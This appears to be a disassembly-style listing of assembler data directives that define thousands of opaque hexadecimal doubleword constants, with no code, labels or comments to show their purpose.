dd 1A65C79Fh, 4EC2D610h, 0D25BBE81h, 84007E48h, 0E0319F8Ch
dd 0DBBE55ADh, 28C9ABACh, 6B9058AAh, 93AF9CB7h, 4EB6B50Fh
dd 8F380211h, 4D21C2CEh, 0C5EFB715h, 61E85944h, 0D70A936Ah
dd 5EFAB6A3h, 0FD7828CBh, 6D16AA99h, 48F57266h, 0F211651Ah
dd 0DB0E382h, 0ED52334Bh, 7562C732h, 0A709FBFBh, 4A6DA449h
dd 26BD8Eh, 87CE209h, 255D6953h, 42A96351h, 0C7ED255Ah
dd 7A9044E9h, 88069DB0h, 0E5A39B00h, 95471C92h, 964532Dh
dd 331D5D13h, 0AD3F3800h, 2F714175h, 2F61BAB7h, 79780560h
dd 0A708D906h, 0C1CBD919h, 0DE3923BCh, 0A08D95D4h, 14ABDE7Ah
dd 0EB5EA88Dh, 37901539h, 0AA8C2198h, 0B819DEDAh, 0FD0B9286h
dd 55ED89E1h, 0B83F7B52h, 0D5B3B569h, 0BDBFD955h, 0D1780308h
dd 6963EC27h, 599827Fh, 712E7B72h, 626F3088h, 0A9CF2A18h
dd 0B55DD943h, 0E9EAA7A8h, 0DCF48C61h, 0CDD1E33Eh, 0C8BAC668h
dd 0DD4653FBh, 0AFE13FF8h, 0AE236CF0h, 439E183Eh, 0CAD185F7h
dd 989884BBh, 0A706B5FEh, 0CA70017Eh, 3D4DFE67h, 6DA4C1B2h
dd 0AED365BAh, 772BD7D8h, 0B415AEACh, 7436D79Dh, 38C9A747h
dd 21EC1EE0h, 0C66CB3AEh, 4675ABA4h, 0C17CD010h, 116D68F1h
dd 15920BB1h, 6E59549Bh, 2B9F5767h, 981B5059h, 0B77A3408h
dd 0EA5B7CF5h, 106430C0h, 0BA3F703Fh, 90F2C0Bh, 0ED73B543h
dd 52C711B6h, 0C112B848h, 94DD4B80h, 0DDA5DF7Bh, 0EDC584A4h
dd 0EE594FDDh, 17FD3BAh, 1E1DF73Fh, 190D7C9Fh, 0FDB2DD8h
dd 27C3100Fh, 84F046Fh, 0BB1B538Bh, 0C4E1B98Fh, 0B1B8955Bh
dd 8141D46Ch, 43B25FB1h, 0FE89D0F1h, 0DE829E61h, 1E95CA26h
dd 0CAD3674Bh, 0D073AC91h, 0D36F0CBEh, 0C77CA5B7h, 0E135A6D0h
dd 4D1C713Bh, 33553739h, 96B5F005h, 0EC9A2E73h, 6BE79332h
dd 0AAFE8A1Ah, 828F8732h, 0EB7EFD52h, 73B0A70Ch, 22702289h
dd 51771E37h, 5D028092h, 3CC68DB1h, 32BD45F9h, 6EA61692h
dd 86907E43h, 0A4301DA0h, 25C94C5Dh, 0E8075253h, 9625C194h
dd 7410E50Ch, 0BD4B5D96h, 0E8DC6E4Ah, 8A1884ACh, 1F8695B3h
dd 0C1F0742h, 927BEE36h, 6DFF257Eh, 0FF82073Ah, 0AEF88E9Dh
dd 0AFA240h, 0AD3B16C3h, 8491B473h, 41A2F60Fh, 286A563Dh
dd 8F9F1728h, 0FF49C6F8h, 0D1784CEEh, 2EDD1357h, 0F1779B1Ah
dd 0AEF2C237h, 67AFFA21h, 6AA26E46h, 3DD7D853h, 2DC10E89h
dd 89C36B96h, 4BFEDF8Fh, 8AB0B268h, 0B46705E8h, 7BE7F783h
dd 9F29DB1Dh, 2F9104E0h, 502D69C9h, 0B7DCE861h, 934C1649h
dd 1E6472DAh, 54973F14h, 1515013Ch, 0DC5ECD39h, 2DB502C3h
dd 0CB2574E6h, 44094B43h, 6F4F0544h, 9DF28041h, 0E6143ADBh
dd 0FF1C473Ch, 5B5E7E7Ch, 2621FF60h, 5F71DAF4h, 0EE27D14h
dd 0DF49D9DDh, 0DECE977Eh, 0DBAF8FDDh, 4A6B3370h, 1EF78A70h
dd 0E4F5F1AFh, 0F265D189h, 167C432Ah, 0A5E8F25Bh, 9344373Ch
dd 0C5F094C2h, 0DA664BD5h, 2D81F3D9h, 0C9D7BC91h, 92F3C36Fh
dd 326E0355h, 0E4D3F203h, 0B30C67D2h, 2867554Fh, 60D756D0h
dd 4488591h, 7E764CF1h, 879AF5E5h, 0DC30F31Ch, 37526F6h
dd 0EC737AA7h, 5CF6E2DEh, 0D57590F2h, 0B96D0356h, 29659598h
dd 94BEBA38h, 0B4A3F7D8h, 77F28BAFh, 9E66AE63h, 11B70F17h
dd 99B2B59Fh, 656D7C7Ch, 0CC43C83h, 763416DDh, 0E433B59Bh
dd 0F009D705h, 6A166637h, 43A1C679h, 40ECBBF5h, 70261777h
dd 6F580478h, 0C80D4931h, 0BAA83B60h, 435C0E21h, 0E4716744h
dd 67A4F8CCh, 0DAF43624h, 9AAF303Bh, 601A44BBh, 0EA20A3F0h
dd 8A26A1BFh, 6D45AD67h, 0C14A6F0h, 45D48352h, 0C586BCE2h
dd 790A1FB7h, 0E074A10Bh, 4BABE465h, 8EC7A5DFh, 495426D2h
dd 0E6DE2647h, 0AB07B7CDh, 0A7E88904h, 0E1B7906Eh, 3BC8C39Ah
dd 0ED0DB629h, 0F0EED334h, 59A91819h, 9743A5C9h, 0B238B3EBh
dd 2D558E23h, 4415289Bh, 499A1032h, 8342EADh, 0D60ED6DAh
dd 4C6133C7h, 926EF5F7h, 65761329h, 3301DB89h, 1953C3F6h
dd 0F6AF8CA6h, 12100644h, 6659A92Eh, 0BB35E09Ah, 0CA17A66Eh
dd 40BC03A4h, 1976DB36h, 238A8FB6h, 57DB9929h, 52562B7Bh
dd 7AFF6DF7h, 3A34F0E0h, 0B6715336h, 0E32E8D8Fh, 1039909Ah
dd 0C4CFC40h, 899881CDh, 0B1C8E976h, 7BE67EE6h, 7AA0A7E5h
dd 6D296C5Fh, 9FC93155h, 4D487A0Dh, 0C2089238h, 3FA00AC8h
dd 18AEB36Bh, 43B6AECFh, 0B972ABB8h, 0E266052Ch, 2DCD5A0Dh
dd 136AD6Ah, 49950DDCh, 875CB59Ah, 36299DBh, 766763BEh
dd 441BF7Ch, 0C85E8C06h, 0DEB67A11h, 1096BA9Eh, 3658D8C9h
dd 98068E9Bh, 12F6469Bh, 0A4826142h, 1421AC77h, 0FCDF485Ah
dd 0AA1EF11Ah, 0A256D890h, 6EBE98DDh, 1611DDC0h, 0FB42DAF7h
dd 8728A954h, 0C91E67B0h, 0A6A73FD4h, 0E939BFDFh, 0A0EE5142h
dd 9DB12DA7h, 0CC657B5h, 3D240F80h, 403AE50Ch, 408E6E04h
dd 276EE32Ch, 5C573D4Fh, 12AA7F10h, 0CD41BBBEh, 0C0594B44h
dd 872CC63Ah, 0A00667F1h, 0D1822E4Ch, 77808B6Eh, 0BBA014Dh
dd 33716867h, 9112016Fh, 810F4EE3h, 669F8B21h, 0ED1EC65Ch
dd 457BD534h, 5A4FF6E0h, 0F52F6063h, 0D2107761h, 661BF365h
dd 69F03D8Ch, 0C5D37DA3h, 2DF75C70h, 94BFE25Ah, 2342615Dh
dd 0E07600BDh, 4DC7BFFCh, 0C212F35h, 7BD04297h, 85589E5h
dd 0D681EC25h, 8EB2FBE0h, 1BA7CDF6h, 0D2E746AFh, 0D48A3240h
dd 0A577EDF0h, 0F85F4128h, 4C13C1CAh, 0CC322544h, 0CB4CDF2Fh
dd 9E222E27h, 2A0D85CBh, 9FB57A74h, 16ED976Ah, 2F64C951h
dd 43312634h, 3E219AE4h, 7F224FD5h, 32770ED8h, 19AF0C56h
dd 0DBC06888h, 4746572Eh, 1D7F4050h, 0E499B92Dh, 0D3485371h
dd 738097AFh, 3300915Fh, 5396C8F4h, 0E10F9724h, 82AB416Dh
dd 0E2698A14h, 0D100FC42h, 73668A97h, 60B6D310h, 52E646EDh
dd 0DC125F49h, 8D441317h, 429FDC29h, 0A3CD433Fh, 0E0B07A2Eh
dd 9521FE77h, 33666D94h
dd 906E7550h, 12224C65h, 0F7BF2D42h, 327962FCh, 0A403AA88h
dd 0BDA08C84h, 0B2457B23h, 153308CDh, 6F102D7h, 1E3A8E62h
dd 0CA820CF6h, 5390EE28h, 11BE0FFEh, 0D024AC73h, 0EB9917D1h
dd 9E631F6Ah, 7F2FCFFh, 0C34ECE69h, 43C1E911h, 1F5B9FE0h
dd 405B5E3Bh, 9E55CDB6h, 0E3DB9E97h, 956D566Ch, 0FB0EF4CFh
dd 0F6B4F054h, 91B1B380h, 8B8742F5h, 0DCAB0425h, 4B6B3411h
dd 33B139CAh, 177B9CA3h, 6805093Bh, 0E2FC1295h, 81FB07C2h
dd 9A42BF70h, 623393FBh, 0F3916373h, 3180B5E6h, 798918Ch
dd 65FA27EEh, 0CF311CCEh, 0AA5D800Eh, 0AFA8D27h, 2DB2D8F8h
dd 4FC17FDBh, 2A172B78h, 350526Eh, 0D86F6F20h, 253D04C8h
dd 0C66BA0E6h, 6385859h, 61F509E2h, 0DFA3098h, 0AD61769Dh
dd 29A1BED4h, 0FE27F410h, 0EA64DAE1h, 0BCF5A8BBh, 0E9F2B81Bh
dd 2E8DE7FEh, 408F36C8h, 97269986h, 9B653360h, 0FA80C423h
dd 3009C125h, 6AA533BCh, 3993AF7Ah, 92F66493h, 9F1B52D2h
dd 4B5BCAA7h, 83FB37D5h, 435E1CD5h, 0A354FAA4h, 967B1D6Ch
dd 0A4D1DA6Fh, 93F454FFh, 125FDF7h, 0B5B70F20h, 0B2BBB98h
dd 7CC6004Dh, 0E5B3B8FCh, 1A4A52CBh, 4EE41828h, 1C07EF0Ch
dd 0CA605AEBh, 863D61E4h, 0CF60008Dh, 0A2E4DE67h, 9FD0E0FEh
dd 0FBD64C77h, 0F34BA82h, 15924B07h, 8A19E254h, 4D6612Fh
dd 41793C8Bh, 233B27E8h, 0C1ED6AEFh, 17875CAAh, 1F454EA2h
dd 66FBDCDFh, 39C1B202h, 6FA2D3C8h, 0A5A601F6h, 0AB39E10h
dd 58A4C144h, 0E562BD7Ah, 0CC2BFD25h, 98BED7E8h, 5B207ABDh
dd 0F7FE0A88h, 6C78B18Bh, 2CA92017h, 417C6D57h, 8897D8A6h
dd 0C727AF0Fh, 0BA17B432h, 0D3EF4F86h, 0C360D4Dh, 62123932h
dd 7748C39h, 45A2E206h, 0EF82E4FFh, 6D719083h, 68EBF55Fh
dd 3CF5F654h, 75C4E024h, 1739E21Ah, 1F553032h, 4EE57A30h
dd 0C82DF8CCh, 0BC8A6135h, 0EE27D221h, 930B19F5h, 0A796896Eh
dd 0D2753724h, 0E03417A7h, 0B71685D5h, 0B091D9B5h, 35B312CEh
dd 0D2B3492Fh, 4A449226h, 83600AC3h, 4D555D4h, 1890B65Dh
dd 4254A6D5h, 0EAA2136Dh, 0B0D72586h, 42139C22h, 0D1D4225Fh
dd 0E51D5E65h, 5D8503A5h, 600B01A0h, 69D04B64h, 8B1216D0h
dd 23317020h, 0BEC0670Fh, 102C30BCh, 0E7C3817Dh, 34DB5754h
dd 0C8223DAFh, 0E432B00Dh, 233FCD40h, 0A7F503A7h, 33F0BDD4h
dd 0BA534C05h, 368B82B0h, 0EB45E382h, 31BA88BEh, 0A35E0132h
dd 0A455CCBFh, 0CFDD83DEh, 979DBBEFh, 26327970h, 0DC83609Ah
dd 1C552176h, 94C670DEh, 0BE87A2D5h, 1F6D5E52h, 35A907E8h
dd 41579445h, 611A43D9h, 2921476Bh, 2660A5F7h, 0C6154D24h
dd 0C2F7A4BBh, 47AF161Fh, 171F02E2h, 425393BAh, 0E2CB31CCh
dd 0FAA99341h, 97536C89h, 0B4528DDDh, 6FBC32A1h, 7956A6E7h
dd 9FFADE39h, 0BC9B7DA0h, 2701C016h, 5B94A31Eh, 7B6BF2D6h
dd 8AB662BFh, 0F2383675h, 0E6920A97h, 0EDE66048h, 57D700DAh
dd 375555DAh, 73DBA243h, 1E692A47h, 0C0D3B670h, 1A05A8CAh
dd 77BA8125h, 5176C9A8h, 0BA4CD2C8h, 2C87BE91h, 55321C70h
dd 81F728AAh, 2A9195E0h, 0F02D2CAFh, 7E99CD9Fh, 0E78EF23Ch
dd 0FA688D36h, 402ACEEDh, 0E8E96038h, 0A90B0ABBh, 94055A8Dh
dd 12FEBBC2h, 71F050B3h, 5DF1738Ch, 0E21B4A10h, 0CC76A3F0h
dd 3A2A0C03h, 39CF9D52h, 0E7F2595h, 7051C646h, 0E9B54E45h
dd 0CA660398h, 2E94E184h, 0A5AC0C31h, 4485FCABh, 0EB873134h
dd 0D900C53Ch, 3DEFFBBFh, 2233B53h, 0F4EC951Bh, 9D051362h
dd 0AC6B0775h, 159882B5h, 0F8FA3443h, 7798D92Ch, 286BE0C8h
dd 3AD78554h, 193BCC52h, 0FBAF85A3h, 0E66348CDh, 0CD049A3h
dd 0B397F6FEh, 0F8FFAA6h, 70A3F7DDh, 0EC560FCDh, 0B00C68F3h
dd 48CE7C8Dh, 654ABEFDh, 39E04A1Fh, 5EF4167Ch, 0F85CD63Ch
dd 0AD5174EDh, 4DD59754h, 141AB757h, 0D101C964h, 199DE36Bh
dd 26FBEDDBh, 0B14A44CCh, 0DD1B1508h, 94864DCAh, 4DF18786h
dd 5324CDCh, 153ED796h, 0C2FFD925h, 909B58A5h, 0CB1DB90Dh
dd 0A9C67B1Dh, 891C0C4Ah, 7DC24A40h, 796008ACh, 2C00782Fh
dd 26B9E831h, 4F173E48h, 6D465D60h, 71FCC0h, 0F3630678h
dd 64469D26h, 101708B7h, 827E80FEh, 5320C69h, 4C82369h
dd 82BB31B1h, 0BE7EFF14h, 0AEFDDE2h, 0BE015C9Dh, 6E57BF69h
dd 888DD6A7h, 18A22A18h, 0B1C8CCBBh, 0B9C96E6h, 48999008h
dd 99786019h, 0E4BC6A40h, 69DE8CB8h, 0DEF3F6F6h, 54DDDCA7h
dd 1182F94Ch, 0CFC6DF2Ch, 37BEB20Eh, 6783B19Fh, 0B27F656Fh
dd 0CAE3E012h, 0FDF25672h, 0AB7BB73h, 5EFBB2F4h, 780DAF5Ah
dd 1CD93671h, 7C93E0DFh, 747898D7h, 70BEA9Bh, 0AFDBAF18h
dd 592FA7C3h, 2D3A8E2Ch, 1366CC39h, 5AA43E32h, 0CCA48C1Eh
dd 70802123h, 9019B5D7h, 0E36B6B35h, 0DE551424h, 0D4FEECh
dd 1C420F56h, 16912D6Eh, 546C2FBFh, 671D6E62h, 0E627F7B5h
dd 8B625682h, 2F23D5AEh, 5036EEh, 0E02494E8h, 0E6D7B504h
dd 15365E73h, 0F72B9F3Bh, 0D8893A95h, 0C8F82B06h, 2DECF436h
dd 584B07D5h, 0C5FA982Bh, 0D97C495Bh, 0F9EC5A35h, 494D2788h
dd 0ED21EA95h, 43137307h, 0F0E7ECA5h, 5A35D77Ch, 0D2B90709h
dd 1FAE6AF8h, 21DD988Eh, 2A93C753h, 2C007403h, 9F376786h
dd 0BF8051DFh, 0AB9FE466h, 7D888FA5h, 250B4713h, 27CA88F8h
dd 39F368A6h, 9AB71D69h, 39D68D7Fh, 3D3E201Fh, 9F3F4A72h
dd 12E0610Ch, 6673EB0Fh, 52A55315h, 8DFCE961h, 0E2B9152Bh
dd 17259EF2h, 329CB95Dh, 489AD6EAh, 109B2320h, 49C5EBE5h
dd 0C705570Bh, 0A93899CAh, 0C198D2C6h, 8BC696B2h, 61F6B240h
dd 7E1FC348h, 0EDB8322Ch, 1100F817h, 0D42D152Ah, 978B7AE2h
dd 58D53C6h, 0EEF4140Fh, 0C851537h, 0BF687FE9h, 331B62F5h
dd 399BF07Bh, 2000E217h, 89C84024h, 0F469854Ch, 0C1F3CE66h
dd 0A8FDB19Fh, 0F5449D0Eh, 0C4874D4h, 602CC9F0h, 804871DBh
dd 0DE38C264h, 43F0F4C6h, 0E6F0C283h, 11BB8B47h, 8A153027h
dd 0E9ED6299h, 9F421330h, 0E18A05ECh, 870C722Dh, 3EC7652Fh
dd 20E71F81h, 32F3EA38h, 67C9CFA7h, 50F9DA03h, 2D7D1C72h
dd 82367B6Ch, 2D1A6951h, 547BC8F5h, 866DD695h, 5C10FDF1h
dd 4054243Dh, 0FA18C8DBh, 0FD9EDC3Eh, 0E1C6AC12h, 5C3A37EEh
dd 97495477h, 0FAA33EBCh, 0C198C36Ch, 87D8174Ch, 0FCD3E36Eh
dd 0EA59E2h, 48300A44h, 4E84F6BDh, 651AE8C7h, 0BA70194h
dd 1A344B50h, 428A9865h, 0B794680Eh, 830BC523h, 0E923D74Bh
dd 7510E502h, 3FC00354h, 0E02F82CBh, 0B4C7BBBCh, 74135EB2h
dd 38A9A072h, 7B79F4B9h, 0A6D1671h, 7B3E8A2Fh, 4EF94B5Bh
dd 87ECFFF7h, 392703FEh, 0BE7F122Ah, 4AA974F9h, 1251DA38h
dd 32FED5AFh, 27BA82B4h, 92A11015h, 0E7BCF1FBh, 0F90D0D3h
dd 0EC78A3C1h, 96782028h, 0AFF3CE3Fh, 0EF17EEDBh, 5300D84Bh
dd 20571D22h, 5687D5BBh, 48B8950Ah, 3A991BFCh, 0CBCD71DFh
dd 902D43B7h, 0CCE23D8Ch, 64E2E0A9h, 3644DDB6h, 0D50F7B85h
dd 9886B073h, 80A25150h, 0A0F30880h, 2E81E09Dh, 302C15B2h
dd 78910451h, 0F86DF16Fh, 0CF237F26h, 0FC8AAAF3h, 8BF6E5F4h
dd 5E9F32FDh, 2A471FCAh, 0B60DB68Fh, 0E344C0BDh, 0CBA92253h
dd 577B9F9Ch, 0C5E3DB26h, 86537A81h, 0BA75F45Dh, 204962DBh
dd 0EEDAE36Ch, 73BE1F76h, 24E7720Ch, 0FCA68699h, 0A9352769h
dd 0A99ED3C7h, 73EEE3BEh
dd 0BF8348A6h, 0A9104591h, 0A82AC9EDh, 484A088Ah, 877AA0B3h
dd 0BBB7DAD9h, 0CA79A617h, 0EE5CFB33h, 0C3675A68h, 74E85DAEh
dd 16E85AE1h, 0CB3AD7C7h, 0E7CD5485h, 48597265h, 289119FEh
dd 0C0EF3118h, 0F1E3BD0Dh, 8AC583E9h, 473AC621h, 9A5FB76Dh
dd 691917B6h, 88900C8Fh, 97238B6Dh, 0DFD65A5Dh, 1F462937h
dd 0FCA1326Eh, 7A2A1C46h, 31032A74h, 79C7BA6Bh, 25E0437Ch
dd 0CB40C56Ah, 0D58F83D3h, 0AA0A839Fh, 0C042C2EFh, 398C690Eh
dd 0D62FAE5h, 57CF123Ah, 6F639BD1h, 0A37FD510h, 1B474F16h
dd 1A2FB029h, 191E2D03h, 0EE38AE18h, 7AA11538h, 6B23287Eh
dd 3CF8FA89h, 3E518386h, 0B8AC4EA6h, 3EA9E2B8h, 22D41A12h
dd 0E0BF06CBh, 87ADA0B2h, 0E6BD9F6Bh, 0A076B34Ch, 0DC5B068Eh
dd 5D9A17C5h, 9BF7EE5Dh, 2CDC98DDh, 0BA5E877h, 8B5FE235h
dd 0F3185125h, 0CABC6DCBh, 1C6BE734h, 6F76ADDAh, 3849B6E0h
dd 6298DFE2h, 87999E93h, 47396479h, 0A669FE88h, 0DA4EA190h
dd 2E98CE4Bh, 10E27281h, 70E3A4F7h, 0D1D5EB2Eh, 554F7486h
dd 0BD16940h, 484E8D8Dh, 61E6E74h, 4362C4DEh, 3E1AB49h
dd 9FD02DB9h, 0FB6F738Eh, 1B40032Ah, 49ACCA2Ah, 19DB1C97h
dd 42EA0040h, 0C65EBAA0h, 2907A289h, 697A6605h, 0F685822Fh
dd 5D1DFF04h, 0F93307EDh, 0EA7378DFh, 0BDAC449Fh, 18C6D3BDh
dd 0FF3DD8D4h, 766C9FA2h, 3F0E09D7h, 0FE08700Bh, 0CC425E91h
dd 0D37C6F4Ah, 0C42F69C1h, 1B53CB6Ah, 0C68E7CD9h, 0A1EE66ABh
dd 47C2F3C2h, 8E13B0F7h, 12750369h, 5675041Fh, 81D4BB7Ah
dd 9991FE8Bh, 0DFBD6A5Bh, 3095572h, 8ED7C2EEh, 77A3AAE4h
dd 27029C33h, 59ACC4E4h, 0CA86B8D9h, 0CC6F4C5Eh, 1C5D98FDh
dd 3AE06F2Ah, 8EF0A9F7h, 0A1B99D8Bh, 0BD388BBEh, 0AE5B20B1h
dd 35BF0650h, 0FE1576D6h, 0E589A11h, 2986DAA1h, 40C0A1D9h
dd 0B31FA028h, 0B169EA4Eh, 6211B8B7h, 0C575F85Fh, 2C77A7F3h
dd 0F2CC143Ch, 355B9A81h, 5DC2837Dh, 88637990h, 0F9D1FBA5h
dd 4805D4BBh, 77F774DBh, 0B395BAD2h, 0A26CD3E1h, 55AF5D49h
dd 7162F859h, 0F2848ACCh, 1495BA20h, 0CE5EFD73h, 7DB0FE11h
dd 296D462Dh, 97D07B5Bh, 94950765h, 3ECCC383h, 0A6E0330Fh
dd 0E70E054h, 0B9ECB0Bh, 4792651Ch, 49631707h, 425AF2E3h
dd 0B7D75E4Ch, 27D44ADDh, 0ABAF294Eh, 6124F033h, 4F013D26h
dd 0D1507B9h, 23FFA38Eh, 573B320Eh, 0D1590053h, 61BA57D0h
dd 7197F480h, 95337E0h, 91FC221Ah, 5104AC07h, 931BDE29h
dd 0E5AE2327h, 0D31E6B34h, 9C29A33Fh, 6EE7F621h, 77E4ACCDh
dd 0C8052A6Dh, 8577230Eh, 47FCB909h, 0BDFF24DFh, 514FA939h
dd 2A8D99D3h, 6ED278E7h, 0DC28A82Bh, 3E2F4304h, 0F6D4B9DDh
dd 0CDE30DB9h, 0DFE7B065h, 0DE124681h, 0F2D7D310h, 37A55515h
dd 0CCD200DBh, 0F5381BB6h, 7C81AE6Ah, 7FD081D5h, 2604998Eh
dd 0A36F6F82h, 0ACB6C7EEh, 45FD05C7h, 603166C4h, 0DECAAF77h
dd 9D47065Fh, 5D845D6Eh, 0A9AA61A9h, 272874A0h, 92FF0008h
dd 0C630E1BEh, 0D82663EFh, 0BA806182h, 0B93FCAA0h, 722730D0h
dd 41D288A4h, 6A42110Ch, 35FDB961h, 0E00820A2h, 4076904Dh
dd 48BA819Ah, 952CF116h, 0D2D538B9h, 0B3EBD7B2h, 84F5D78Dh
dd 93CFFBDCh, 0BC6290CAh, 0F654CA38h, 0CD8F1356h, 3FB2590h
dd 3C6B29EAh, 0C95EDA82h, 8307D1BDh, 0AC894E13h, 5976CA79h
dd 217BE365h, 0A1094DEh, 7260FC20h, 4A3859CFh, 5B4C7F5Bh
dd 7D2A4528h, 99E0285Ah, 464D6BBFh, 0A7F0051Ch, 0D38F39DAh
dd 784CF9DFh, 34F6E959h, 901BB356h, 9C06693Dh, 2E15F33Fh
dd 0DC10F2B1h, 2B095E72h, 0DFD8FDE5h, 0C654F7B3h, 3993B022h
dd 3AA15DDFh, 3EE25396h, 57D7B2F5h, 6626F6A7h, 374A3099h
dd 1620BDC0h, 7ED2B4DEh, 64E3738Bh, 76FBA71Ah, 6F3390Ah
dd 6B140F93h, 0B164D08Dh, 9A8D7A32h, 0B2FC7F9h, 5A4E068Dh
dd 83F388h, 0B9090B24h, 95F9C245h, 0D5FF49AFh, 55C23299h
dd 8E48D3F9h, 8F22447Fh, 4E89617Bh, 0F0F34A94h, 0F30C2D35h
dd 0ABFF5089h, 0F5FB65E5h, 9AFCE44Eh, 3E39FE6Eh, 743915DEh
dd 1A2B2583h, 32AC9BC5h, 8E3CCB0h, 17420C09h, 84516988h
dd 0CD3B272Eh, 4BCBE003h, 3E6DE6CEh, 2D214981h, 0BA5E7AD8h
dd 0C1923878h, 230F32A1h, 61B80445h, 0B1298B70h, 62DAB042h
dd 40239F94h, 544429EDh, 2DAC9397h, 8A5758D6h, 832BFC2Dh
dd 0EE5AB6A3h, 0C81B71ABh, 9A69E243h, 0C161FB14h, 72B1CA8Dh
dd 231E23AEh, 0C6BE230Ah, 0A4C3AC2Dh, 12274E93h, 17453154h
dd 0D14F3BD8h, 0E6A3D9E6h, 8042101Eh, 423CD2B6h, 0F9510649h
dd 0AF394732h, 0C62C9224h, 89FB4F2Ah, 0B5289B6Eh, 8CF4A23Eh
dd 0E1E50351h, 4296C7E5h, 41F320DDh, 0C7424DC9h, 0C7D42858h
dd 0AAAEB537h, 8ACAB877h, 743EBE02h, 0DE1BC9E6h, 0BC6C4D1Dh
dd 2A232EC9h, 0B09C0E60h, 58F64FA2h, 3F5DE089h, 6C50794Fh
dd 56850094h, 5AD4C233h, 53808909h, 0DCDB773Fh, 0CF5A1CA5h
dd 19B67936h, 2C1E84E0h, 3350A0AFh, 0DCD5E21h, 0A92EC974h
dd 0EA07A1ECh, 82E5379h, 2EBAFC01h, 0A8C36F93h, 31C72EAAh
dd 3A7FB69Ah, 0B1CF55A1h, 0F15F0CCh, 0CB64695Eh, 40809827h
dd 0B3EF10E4h, 102D72EAh, 0BBA13544h, 0F231DB0Fh, 0D8FED074h
dd 15D06504h, 3ED1519Ah, 2EBB786Ch, 7F931878h, 0A30D7821h
dd 696CAF0Bh, 0A07F6041h, 8EE86BC9h, 0CEEF7A1Dh, 48FF6C2Eh
dd 97347F2Ch, 0CFABB101h, 0D0F359D5h, 6D0BFB93h, 0ADDF9DBAh
dd 3A2BF4BAh, 0E8D5E0AEh, 14071FD9h, 56DC93DFh, 0CB6897D0h
dd 15F0F1F0h, 89B66B96h, 0CE874594h, 8069723h, 280EAE69h
dd 0B709656Fh, 66CC8AE6h, 5F099F75h, 0FE0232A5h, 817DF6B6h
dd 0E7291DB1h, 5556EB90h, 0E55007EBh, 0DF1767B5h, 87E38051h
dd 6E38A92h, 3EE153ACh, 0E98F6E92h, 0AD9DC826h, 9888D587h
dd 0F50707F2h, 5828F995h, 1906623Fh, 5CE6F1D8h, 52D9A5CBh
dd 0AF72D4CCh, 86F26B8Ah, 9B1708AFh, 9CB1BC11h, 1EC32039h
dd 6049E8ACh, 901A286h, 9D0DB7A0h, 16967E9Dh, 0E94A73F4h
dd 801922B5h, 3530048Eh, 99E1AF21h, 307057A4h, 4A56A3C2h
dd 0C9A5ADB7h, 27C88986h, 8FBAE19Eh, 823E0F9Dh, 0B4B9DBC5h
dd 71153702h, 0AE69677Ch, 4D59A890h, 0E0ACAE4Eh, 3A1709D3h
dd 7F17D81Eh, 726D5E62h, 3A7E871Eh, 733CEBD2h, 0D60242C6h
dd 759DAA5Fh, 0CD6A1D3Fh, 4D501313h, 8F98DFA1h, 2439BAC6h
dd 0EC0B2B5Dh, 0AF7E9AE5h, 8B2F097Ch, 21EED829h, 2C14A17Eh
dd 92FA42DAh, 0C72364D5h, 62597A31h, 3C5C20ABh, 0E9F1C078h
dd 4069A573h, 3F9E0596h, 0D164BDC5h, 9A32D925h, 0E8B66BA5h
dd 0D4559260h, 0CDE49F99h, 942CB69Bh, 908E965Eh, 8CD89BF9h
dd 39103F4Fh, 7AC2A930h, 7304A2A2h, 9339AB10h, 9843CB59h
dd 0C9DCDEA8h, 7E299D1Ch, 8445CC71h, 0C1F4BB9Bh, 0A722F3B5h
dd 0BBC9AF5Eh, 65D7563Bh, 2C89B98Eh, 4804659Ah, 0FD04E922h
dd 169AC625h, 6795CCCDh, 415AF41Eh, 0F129881Ah, 3192F41Dh
dd 0FF7B98Fh, 661B5E10h, 9ABB31D7h, 0A732E37Eh, 4C78F77Fh
dd 0A65BB2EFh, 0C4CFBA12h, 4A4354DFh, 98669D5Bh, 0B7062809h
dd 63177D79h, 8FBC0FBEh, 8F9C4180h, 0AED4BF24h, 4995C452h
dd 19EFCE62h, 6EEF1035h, 0E00232F4h, 0AF0BEEEDh, 21E042A2h
dd 0F4072E8Dh, 4FAF0719h, 3C771FEh, 711B3864h, 4DE96D65h
dd 0D99BAC74h, 0F4A3905Dh
dd 0C5A53040h, 0B7024DEBh, 0AFD7D2B6h, 7DCE845h, 0ADC78BA6h
dd 175C3BFCh, 75372F00h, 0DD7F35C5h, 48730707h, 25A66915h
dd 20A7C861h, 0EF2876D6h, 768F95Ch, 0F1C29C36h, 0D5C600E3h
dd 70313CD3h, 0BE00BF5Eh, 0B0549A92h, 9ED5A26Bh, 70F9026Dh
dd 0D716DD15h, 0E6AFCE22h, 277055BDh, 6BE85FEDh, 0C6D49507h
dd 0CB5A1971h, 1A8D728Fh, 0A59C7DFAh, 9D500FCCh, 299A0907h
dd 180788D7h, 9837D192h, 54AB1158h, 0D1E54CAFh, 0BF20D17Fh
dd 0E8135B5Dh, 0D6C7E564h, 0AE6D0DE1h, 88045D29h, 1F113DBFh
dd 6E864559h, 3EF5B3E8h, 0A160302Fh, 68596129h, 86CCC397h
dd 6C59CE89h, 63E24D2Fh, 0CAEF9B6Eh, 0D5F46E7Dh, 7DDF91A1h
dd 5CC43A11h, 0E3C87704h, 896B87BBh, 0D6833D72h, 0E64A6E74h
dd 7A7C7488h, 565F0021h, 5DCD1C41h, 0B6169EA1h, 0E5CB9936h
dd 68C004B8h, 9F923F7Dh, 62B9A672h, 0C83D8248h, 211C4C53h
dd 0DA042B52h, 594D19D8h, 74C5F6DDh, 821943F9h, 18C56241h
dd 609DCE9h, 0AFFBA916h, 2896BC5Fh, 0A5843680h, 276C7483h
dd 0D37373C2h, 63AAD94h, 869C3F31h, 92817AE8h, 2B3C09Eh
dd 0C45CAE92h, 69A72380h, 0F8BA4A3Ch, 3C16EEE8h, 0FC6EDDB4h
dd 0F8C73A7Fh, 7A55441Bh, 99D22768h, 0F0BD15C2h, 0E744D323h
dd 261F3F31h, 0B70E865h, 0D3914541h, 969FA836h, 0A523EA09h
dd 0E6727A6Ch, 3F04869Ch, 23281C00h, 0F0787708h, 0E93CCF5Ch
dd 0BF97EC17h, 154BF461h, 0BFBD5680h, 93B1FB32h, 14339644h
dd 76B0BE1Eh, 0DAD544C9h, 1565DC73h, 5A7B4C6Eh, 0A9FD2895h
dd 788C02DAh, 0EA50F0DAh, 7ADEE94Ch, 0A78D7A6Eh, 0D1AE4969h
dd 81CAE550h, 9BE61E61h, 673BE354h, 5ACEE8D5h, 0F6AECC12h
